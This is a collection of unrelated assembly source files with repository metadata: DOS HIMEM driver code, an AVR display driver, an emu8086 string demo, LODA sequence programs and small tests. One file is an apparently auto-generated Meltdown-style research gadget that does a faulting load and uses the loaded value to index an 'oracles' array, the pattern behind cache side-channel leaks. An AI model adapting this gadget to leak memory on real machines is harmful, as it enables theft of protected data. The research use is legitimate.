next method to set loop resetNext ret InitFlags endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StripHeader %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Reset terminal flags in screen object CALLED BY: ProcessFlags PASS: es - dgroup ds:si - termcap buffer RETURN: --- DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: This is lame I only check if the comment exists on the very first line and if so then I ignore it. Why don't I check for the comment at the start of every line?, because I'm a lazy dork Didn't use scasb, cause didn't want to save es and di somewhere, besides this isn't used much REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 01/29/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StripHeader proc near cmp {byte}ds:[si], COMMENT_FLAG jne exit getEOLN: inc si cmp {byte}ds:[si], CHAR_LF je eoln jmp short getEOLN eoln: inc si ;advance past eoln exit: ret StripHeader endp
27.589822
92
0.593894
aeb7bfafad0855276fd043981d0d3f1b75ad3a09
505
asm
Assembly
programs/oeis/076/A076240.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/076/A076240.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/076/A076240.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A076240: Remainder when 2nd order prime pp(n) = A006450(n) is divided by n-th prime = A000040(n). ; 1,2,1,3,9,2,8,10,14,22,3,9,15,19,23,29,41,39,63,69,2,6,16,16,24,42,48,52,54,52,74,84,88,102,114,122,134,152,156,166,168,1,7,13,19,23,31,71,71,73,73,65,77,91,79,91,109,115,125,137,149,155,185,197,203,197,235,247,259,257,263,263,275,311,335,349,349,337,343,349,383,383,415,421,433,8,26,30,32,58,50,54,60,80,66,72,74,86,100,124 seq $0,40 ; The prime numbers. sub $0,1 seq $0,4648 ; a(n) = prime(n) mod n.
72.142857
326
0.677228
63fcc605bb1cda9f6f914a376cf4547ccecf01db
1,088
asm
Assembly
7segment.asm
IchikawaYukko/AVRcountdownTimer
f00169c7226288dff1786580499b043ac2dafa66
[ "MIT" ]
null
null
null
7segment.asm
IchikawaYukko/AVRcountdownTimer
f00169c7226288dff1786580499b043ac2dafa66
[ "MIT" ]
null
null
null
7segment.asm
IchikawaYukko/AVRcountdownTimer
f00169c7226288dff1786580499b043ac2dafa66
[ "MIT" ]
null
null
null
;Drive 7segment .include "registers.inc" ;.equ SEGON=0xFF ;7SEG ON WAIT TIME .equ SEGONH=0x1C ;7SEG ON WAIT TIME .equ SEGONL=0xFF ;7SEG ON WAIT TIME .equ SEGOFF=1 ;7SEG OFF WAIT TIME SEG_ALLOFF: SBI PORTD,PORTD0 SBI PORTD,PORTD1 SBI PORTD,PORTD4 SBI PORTD,PORTD5 ;OUTPUT blank LDI GX,SEGBL OUT PORTB,GX RET SEG: ;SEGMENT1 SBI PORTD,PORTD0 SBI PORTD,PORTD1 SBI PORTD,PORTD4 CBI PORTD,PORTD5 MOV ARG1,SEC_L RCALL PER_SEGMENT ;SEGMENT2 SBI PORTD,0 SBI PORTD,1 CBI PORTD,4 SBI PORTD,5 MOV ARG1,SEC_H RCALL PER_SEGMENT ;SEGMENT3 SBI PORTD,0 CBI PORTD,1 SBI PORTD,4 SBI PORTD,5 MOV ARG1,MIN_L RCALL PER_SEGMENT ;SEGMENT4 CBI PORTD,0 SBI PORTD,1 SBI PORTD,4 SBI PORTD,5 MOV ARG1,MIN_H RCALL PER_SEGMENT RET PER_SEGMENT: ;Output to Segment ;ARG1 = data to segment ;Convert BCD to Segment MOV GX,ARG1 RCALL BCDTOSEG OUT PORTB,RETURN ;OUTPUT ;WAIT(on) LDI ZH,SEGONH LDI ZL,SEGONL RCALL WAIT16 ;OUTPUT blank LDI GX,SEGBL OUT PORTB,GX ;WAIT(off) LDI ARG1,SEGOFF RCALL WAIT RET
13.772152
35
0.695772
12760da5ff83b519491113775379753f421c8dde
4,460
asm
Assembly
Microprocessor/string.asm
Nmane1612/Nihar-Mane
aa4db52a384f706a431c994e4e12d8e5e0cd8402
[ "Apache-2.0" ]
3
2019-12-27T06:07:37.000Z
2020-07-01T08:51:32.000Z
Microprocessor/string.asm
Nihar16/Personal-Repository
0d319eeb8dbfa3f7c3eb8501829939ecd6923464
[ "MIT" ]
null
null
null
Microprocessor/string.asm
Nihar16/Personal-Repository
0d319eeb8dbfa3f7c3eb8501829939ecd6923464
[ "MIT" ]
null
null
null
; this example demonstrates the input and output string functions of emu8086.inc ; this code doesnt depend on MS-DOS or any other operating system's interrupts, therefore ; it can easily be used for developing an operating system or a boot record loader. name "string" ; this macro prints a string that is given as a parameter, example: ; print 'hello world!' print macro sdat local next_char, s_dcl, printed, skip_dcl push ax ; store registers... push si ; jmp skip_dcl ; skip declaration. s_dcl db sdat, 0 skip_dcl: lea si, s_dcl next_char: mov al, cs:[si] cmp al, 0 jz printed inc si mov ah, 0eh ; teletype function. int 10h jmp next_char printed: pop si ; re-store registers... pop ax ; print endm ; this macro prints a string that is given as a parameter, example: ; printn 'hello world!' ; the same as print, but new line is automatically added. printn macro sdat local next_char, s_dcl, printed, skip_dcl push ax ; store registers... push si ; jmp skip_dcl ; skip declaration. s_dcl db sdat, 0Dh, 10, 0 skip_dcl: lea si, s_dcl next_char: mov al, cs:[si] cmp al, 0 jz printed inc si mov ah, 0eh ; teletype function. int 10h jmp next_char printed: pop si ; re-store registers... pop ax ; printn endm ; this macro prints a char in al and advances ; the current cursor position: putc macro char push ax mov al, char mov ah, 0eh int 10h pop ax putc endm org 100h jmp start ; skip over the declarations and data buffer db "empty buffer --- empty buffer" size = $ - offset buffer ; declare constant msg1 db "Enter a string: ", 0 start: ; print a welcome message: lea si, msg1 call print_string ; get string to ds:di lea di, buffer ; buffer offset. mov dx, size ; buffer size. call get_string putc 0Dh putc 10 ; next line. ; print using macro: print "You've entered: " ; print string in ds:si using procedure: mov si, di call print_string ; wait for any key... mov ax, 0 int 16h ret ; get a null terminated string from keyboard, ; write it to buffer at ds:di, maximum buffer size is set in dx. ; 'enter' stops the input. get_string proc near push ax push cx push di push dx mov cx, 0 ; char counter. cmp dx, 1 ; buffer too small? jbe empty_buffer ; dec dx ; reserve space for last zero. ;============================ ; eternal loop to get ; and processes key presses: wait_for_key: mov ah, 0 ; get pressed key. int 16h cmp al, 0Dh ; 'return' pressed? jz exit cmp al, 8 ; 'backspace' pressed? jne add_to_buffer jcxz wait_for_key ; nothing to remove! dec cx dec di putc 8 ; backspace. putc ' ' ; clear position. putc 8 ; backspace again. jmp wait_for_key add_to_buffer: cmp cx, dx ; buffer is full? jae wait_for_key ; if so wait for 'backspace' or 'return'... mov [di], al inc di inc cx ; print the key: mov ah, 0eh int 10h jmp wait_for_key ;============================ exit: ; terminate by null: mov [di], 0 empty_buffer: pop dx pop di pop cx pop ax ret get_string endp ; print null terminated string at current cursor position, ; raddress of string in ds:si print_string proc near push ax ; store registers... push si ; next_char: mov al, [si] cmp al, 0 jz printed inc si mov ah, 0eh ; teletype function. int 10h jmp next_char printed: pop si ; re-store registers... pop ax ; ret print_string endp
21.862745
90
0.520404
81e3af438edb212ccee21db49298cab29f34e250
679
asm
Assembly
oeis/243/A243944.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/243/A243944.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/243/A243944.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A243944: a(n) = A084768(n)^2. ; Submitted by Christian Krause ; 1,49,5329,717409,106523041,16735820689,2727812288881,456250924320961,77788137919752001,13459803510972477169,2356471368269511061009,416518496068852312607521,74207592486779379593752801,13309569813247406938272432721,2400816685486139045360488325809,435208054671315582950195665158529,79232897039875836990385371056307841,14479760175402428928239046553344826801,2655086942312709629180455816470852970321,488316854395767100962501150933770698388449,90052964695694921488166075746517877528168481 seq $0,84768 ; P_n(7), where P_n is n-th Legendre polynomial; also, a(n) = central coefficient of (1 + 7*x + 12*x^2)^n. pow $0,2
97
484
0.867452
cd0fb59220f69828a75b1257f2900947e03c3222
199
asm
Assembly
tests/expr_asm_value/10.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
414
2016-10-14T22:39:20.000Z
2022-03-30T07:52:44.000Z
tests/expr_asm_value/10.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
100
2018-03-22T16:12:24.000Z
2022-03-26T09:19:23.000Z
tests/expr_asm_value/10.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
47
2017-06-29T15:12:13.000Z
2022-03-10T04:50:51.000Z
; multiple matches #ruledef { emit {x: i8} => x emit {x: i8} => x test {x} => asm { emit x } } test 0x12 ; error: failed / error:_:6: multiple / note:_:4: candidate / note:_:5: candidate
22.111111
91
0.577889
6dfa39fe23443826bd5d1b746dbc8c64df4877fc
9,146
asm
Assembly
dev/himem/himem4.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
dev/himem/himem4.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
dev/himem/himem4.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1988-1992 ; * All Rights Reserved. ; */ page 95,160 title himem4 - block allocation stuff (common to both 286&386) .xlist include himem.inc .list ; The stuff we provide: public Version public GetExtMemoryInfo public LockExtMemory public UnlockExtMemory public end_of_hiseg public textseg public KiddValley public KiddValleyTop public segKiddValley public cHandles public ValidateHandle public BlkMovX ; externals from himem.asm extrn PrevInt15:dword extrn fHMAMayExist:byte extrn fHMAExists:byte extrn winbug_fix:word extrn FLclEnblA20:far extrn FLclDsblA20:far extrn pAddMem:word ifdef debug_tsr extrn pQuery:dword extrn pAlloc:dword extrn pFree:dword extrn MoveIt:dword extrn pGetInfo:dword extrn pRealloc:dword else extrn pQuery:word extrn pAlloc:word extrn pFree:word extrn MoveIt:word extrn pGetInfo:word extrn pRealloc:word endif _text ends funky segment word public 'funky' assume cs:funky,ds:_text extrn mmove_segreinit:near extrn IsCPU286:near extrn end_of_funky_seg:near ifndef debug_tsr org HISEG_ORG endif ;----------------------------------------------------------------- ; Following entries must be kept together in the same order public HandleInfo HandleInfo label byte db 1 ; info structure version # db SIZE Handle ; size of handle entries cHandles dw DEFHANDLES ; number of handles KiddValley dw end_of_funky_seg; The address of the handle table segKiddValley dw seg funky ; segment of handle table KiddValleyTop dw 0 ; end of handle table ; Above entries must be kept together in the same order ;----------------------------------------------------------------- public LEnblA20 public LDsblA20 end_of_hiseg dw End286 textseg dw _text LEnblA20 dd _text:FLclEnblA20 LDsblA20 dd _text:FLclDsblA20 ;*----------------------------------------------------------------------* ;* * ;* Get XMS Version Number - FUNCTION 00h * ;* * ;* Returns the XMS version number * ;* * ;* ARGS: None * ;* RETS: AX = XMS Version Number * ;* BX = Internal Driver Version Number * ;* DX = 1 if HMA exists, 0 if it doesn't * ;* REGS: AX, BX and DX are clobbered * ;* * ;* INTERNALLY REENTRANT * ;* * ;*----------------------------------------------------------------------* Version proc far mov ax,XMSVersion mov bx,HimemVersion xor dh,dh ; Is Int 15h hooked? cmp word ptr [PrevInt15][2],0 ; Is the segment non-zero? jne VHooked mov dl,[fHMAMayExist] ; No, return the status at ret ; init time. VHooked: mov dl,[fHMAExists] ; Yes, return the real status ret Version endp ;*----------------------------------------------------------------------* ;* * ;* LockExtMemory - FUNCTION 0Ch * ;* * ;* Locks a block of extended memory * ;* * ;* ARGS: DX = 16-bit handle to the extended memory block * ;* RETS: AX = 1 of successful, 0 otherwise. BL = Error code * ;* DX:BX = 32-bit linear address of the base of the memory block * ;* REGS: AX, BX, DX and Flags clobbered * ;* * ;* INTERNALLY NON-REENTRANT * ;* * ;*----------------------------------------------------------------------* LockExtMemory proc far cli ; This is a non-reentrant function call ValidateHandle ; Is the handle valid? jnc LEMBadh mov bx,dx ; Move the handle into BX ; Are we at some preposterously large limit? cmp [bx].cLock,0FFh je LEMOverflow inc [bx].cLock ; lock the block mov dx, [bx].Base.hi ; return the 32-bit address of base mov bx, [bx].Base.lo mov ax, bx ; save low 16 bits shl dx, 10 ; *1024 of hi 16 bits shl bx, 10 ; *1024 of low 16 bits shr ax, 06 ; take the overflow into account or dx, ax mov ax,1 ; return success ret LEMBadh: mov bl,ERR_INVALIDHANDLE jmp short LEMErrExit LEMOverflow: mov bl,ERR_LOCKOVERFLOW LEMErrExit: xor ax,ax ; Return failure mov dx,ax ret LockExtMemory endp ;*----------------------------------------------------------------------* ;* * ;* UnlockExtMemory - FUNCTION 0Dh * ;* * ;* Unlocks a block of extended memory * ;* * ;* ARGS: DX = 16-bit handle to the extended memory block * ;* RETS: AX = 1 if successful, 0 otherwise. BL = Error code * ;* REGS: AX, BX and Flags clobbered * ;* * ;* INTERNALLY NON-REENTRANT * ;* * ;*----------------------------------------------------------------------* UnlockExtMemory proc far cli ; This is a non-reentrant function call ValidateHandle ; Is the handle valid? jnc UEMBadh mov bx,dx ; Move the handle into BX cmp [bx].cLock,0 ; is handle locked? je UEMUnlocked ; No, return error dec [bx].cLock ; Unlock the block mov ax,1 ; Return success xor bl,bl ret UEMUnlocked: mov bl,ERR_EMBUNLOCKED jmp short UEMErrExit UEMBadh: mov bl,ERR_INVALIDHANDLE UEMErrExit: xor ax,ax ret UnlockExtMemory endp ;*----------------------------------------------------------------------* ;* * ;* ValidateHandle - * ;* * ;* Validates an extended memory block handle * ;* * ;* ARGS: DX = 16-bit handle to the extended memory block * ;* RETS: Carry is set if the handle is valid * ;* REGS: Preserved except the carry flag * ;* * ;*----------------------------------------------------------------------* ValidateHandle proc near push ax push bx push cx push dx mov bx,dx ; Move the handle into BX ; The handle must be equal to or above "KiddValley". cmp bx,[KiddValley] jb VH9f ; The handle must not be above "KiddValleyTop". cmp bx,[KiddValleyTop] ja VH9f ; (The handle-"KiddValley") must be a multiple of a handle's size. sub dx,[KiddValley] mov ax,dx xor dx,dx mov cx,SIZE Handle div cx or dx,dx ; Any remainder? jnz VH9f ; Yup, it's bad ; Does the handle point to a currently USED block? cmp [bx].Flags,USEDFLAG jne VH9f ; This handle is not being used. ; The handle looks good to me... stc ; return success VH9: pop dx pop cx pop bx pop ax ret VH9f: ; It's really bad. clc ; Return failure jmp short vh9 ; we can take a performance hit if it is ; a bad handle ret ValidateHandle endp BlkMovX proc near assume ds:_text jmp MoveIt BlkMovX endp .286p include himem4a.asm .386p include himem4b.asm .286p ;*----------------------------------------------------------------------* ;* * ;* InstallMoveBlock - HARDWARE DEP. * ;* * ;* Copies 386 move down on top of 286 move and adjusts end pointer * ;* if needed. Also performs mmove_segreinit to set segment * ;* of the installed move routine. * ;* * ;* ARGS: None * ;* RETS: None * ;* REGS: AX, CX, DX, DI, SI, ES and Flags are clobbered * ;* * ;*----------------------------------------------------------------------* public InstallMoveBlock SKEW equ (offset Begin386 - offset Begin286) InstallMoveBlock proc far assume ds:_text,es:nothing call IsCPU286 jz IMB_done ; done if cpu is 286 mov si,offset Begin386 mov cx,(offset End386-offset Begin386) push ds ; save _text segment push cs ; es = cs pop es push cs pop ds ; ds = cs assume ds:nothing mov di,offset Begin286 rep movsb ; move it! pop ds ; restore ds -> _text assume ds:_text mov end_of_hiseg,di ; save new end of hi segment ; For the TSR version, these jump labels point to dwords. For the ; DOS device driver version, these jump labels point to word offsets. ifdef debug_tsr ; All these functions live in the 'funky' segment. We need to patch ; up their selectors to match the new hiseg value after compacting in ; pack_and_truncate(). mov MoveIt.off, offset MoveExtended386 mov pQuery.off, (offset QueryExtMemory - SKEW) mov pAlloc.off, (offset AllocExtMemory - SKEW) mov pFree.off, (offset FreeExtMemory - SKEW) mov pGetInfo.off, (offset GetExtMemoryInfo - SKEW) mov pRealloc.off, (offset ReallocExtMemory - SKEW) else mov MoveIt, offset MoveExtended386 mov pQuery, (offset QueryExtMemory - SKEW) mov pAlloc, (offset AllocExtMemory - SKEW) mov pFree, (offset FreeExtMemory - SKEW) mov pGetInfo, (offset GetExtMemoryInfo - SKEW) mov pRealloc, (offset ReallocExtMemory - SKEW) endif ; pAddMem should be a word offset for both Himem versions - TSR and ; DOS device driver. mov pAddMem, (offset AddMem - SKEW) IMB_done: push cs pop es ; point es: to new segment call mmove_segreinit ; now adjust the segment stuff ret ; far return InstallMoveBlock endp ;*----------------------------------------------------------------------* ;* * ;* NOTE: RequestUMB and ReleaseUMB will not be implemented by HIMEM. * ;* * ;*----------------------------------------------------------------------* funky ends end 
23.09596
77
0.587251
a1c9a882b0d849fe8a44ee5bea663ac9b5ffe7d7
457
asm
Assembly
programs/oeis/071/A071919.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/071/A071919.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/071/A071919.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A071919: Number of monotone nondecreasing functions [n]->[m] for n>=0, m>=0, read by antidiagonals. ; 1,1,0,1,1,0,1,2,1,0,1,3,3,1,0,1,4,6,4,1,0,1,5,10,10,5,1,0,1,6,15,20,15,6,1,0,1,7,21,35,35,21,7,1,0,1,8,28,56,70,56,28,8,1,0,1,9,36,84,126,126,84,36,9,1,0,1,10,45,120,210,252,210,120,45,10,1,0,1,11,55,165,330,462,462,330,165,55,11,1,0,1,12,66,220,495,792,924,792,495 sub $0,1 lpb $0 sub $0,2 add $1,1 mov $2,$0 trn $0,$1 lpe bin $1,$2 mov $0,$1
35.153846
267
0.61488
73486f45342f2d30be45d1d3025ac9bcd8757b7d
38
asm
Assembly
pruebas/ejec3/programa.asm
javito003/CPU_java
4e1df9dc8a1a300ac1dc85e11c24f75ebf935e26
[ "MIT" ]
null
null
null
pruebas/ejec3/programa.asm
javito003/CPU_java
4e1df9dc8a1a300ac1dc85e11c24f75ebf935e26
[ "MIT" ]
null
null
null
pruebas/ejec3/programa.asm
javito003/CPU_java
4e1df9dc8a1a300ac1dc85e11c24f75ebf935e26
[ "MIT" ]
null
null
null
; División por cero PUSH 10 PUSH 0 DIV
9.5
19
0.763158
81c8ee6813e3aac5ee9f538e7339f9a864e4949c
6,158
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_655.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_655.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_655.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x100b4, %rsi lea addresses_D_ht+0x3be4, %rdi nop nop nop cmp $23796, %rbx mov $99, %rcx rep movsw nop nop and $52501, %r14 lea addresses_D_ht+0xde1c, %rsi lea addresses_D_ht+0x4cf4, %rdi nop nop nop cmp $53389, %r13 mov $91, %rcx rep movsw nop nop nop nop add %r14, %r14 lea addresses_WC_ht+0x1ab4, %rdi nop nop nop nop nop xor $41404, %rbp movl $0x61626364, (%rdi) nop nop cmp %rsi, %rsi lea addresses_normal_ht+0x1adf4, %rsi nop nop nop inc %rcx movb $0x61, (%rsi) nop and $11664, %rbp lea addresses_WC_ht+0x16768, %r13 nop nop nop nop and $20924, %rdi mov $0x6162636465666768, %rbp movq %rbp, (%r13) nop nop nop nop nop sub %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r15 push %r9 push %rbp push %rcx push %rsi // Store lea addresses_D+0x1dd74, %rbp nop nop nop and $20224, %r12 mov $0x5152535455565758, %rsi movq %rsi, %xmm5 vmovups %ymm5, (%rbp) nop sub %rsi, %rsi // Store lea addresses_WT+0x17bf4, %rsi nop nop nop nop add $8684, %r9 movl $0x51525354, (%rsi) cmp %r9, %r9 // Store lea addresses_PSE+0x14e74, %rbp dec %r9 movb $0x51, (%rbp) nop nop nop dec %r9 // Store lea addresses_RW+0x1c574, %rsi nop nop nop xor %r9, %r9 mov $0x5152535455565758, %r12 movq %r12, (%rsi) nop nop nop nop xor %r12, %r12 // Faulty Load lea addresses_D+0x1dd74, %rbp nop nop nop cmp $15648, %rcx mov (%rbp), %r9w lea oracles, %r14 and $0xff, %r9 shlq $12, %r9 mov (%r14,%r9,1), %r9 pop %rsi pop %rcx pop %rbp pop %r9 pop %r15 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'dst': {'same': True, 'congruent': 3, 'type': 'addresses_D_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}, 'dst': {'same': True, 'congruent': 7, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 2}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
36.223529
2,999
0.656544
dc3613717f618b018390f4d97631e335743697a0
148
asm
Assembly
Engine Hacks/AnimaTriangle/Definitions.asm
sme23/MekkahRestrictedHackComp1
1cc9d2fec557424f358b6bfa21f9f3bb6faf2978
[ "CC0-1.0" ]
1
2020-10-12T07:09:33.000Z
2020-10-12T07:09:33.000Z
Wizardry/ExternalHacks/AnimaTriangle/Definitions.s
sme23/WhatHeck
746a2be83358aaa4e855182176b47c4808f2587a
[ "CC0-1.0" ]
null
null
null
Wizardry/ExternalHacks/AnimaTriangle/Definitions.s
sme23/WhatHeck
746a2be83358aaa4e855182176b47c4808f2587a
[ "CC0-1.0" ]
null
null
null
.macro SET_FUNC name, value .global \name .type \name, %function .set \name, \value .endm SET_FUNC AnimaTriangle, (0x0802C834+1)
16.444444
38
0.648649
7eac37b393d1815f6ff41d4a7c3def9ee310c766
331
asm
Assembly
programs/oeis/131/A131026.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/131/A131026.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/131/A131026.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
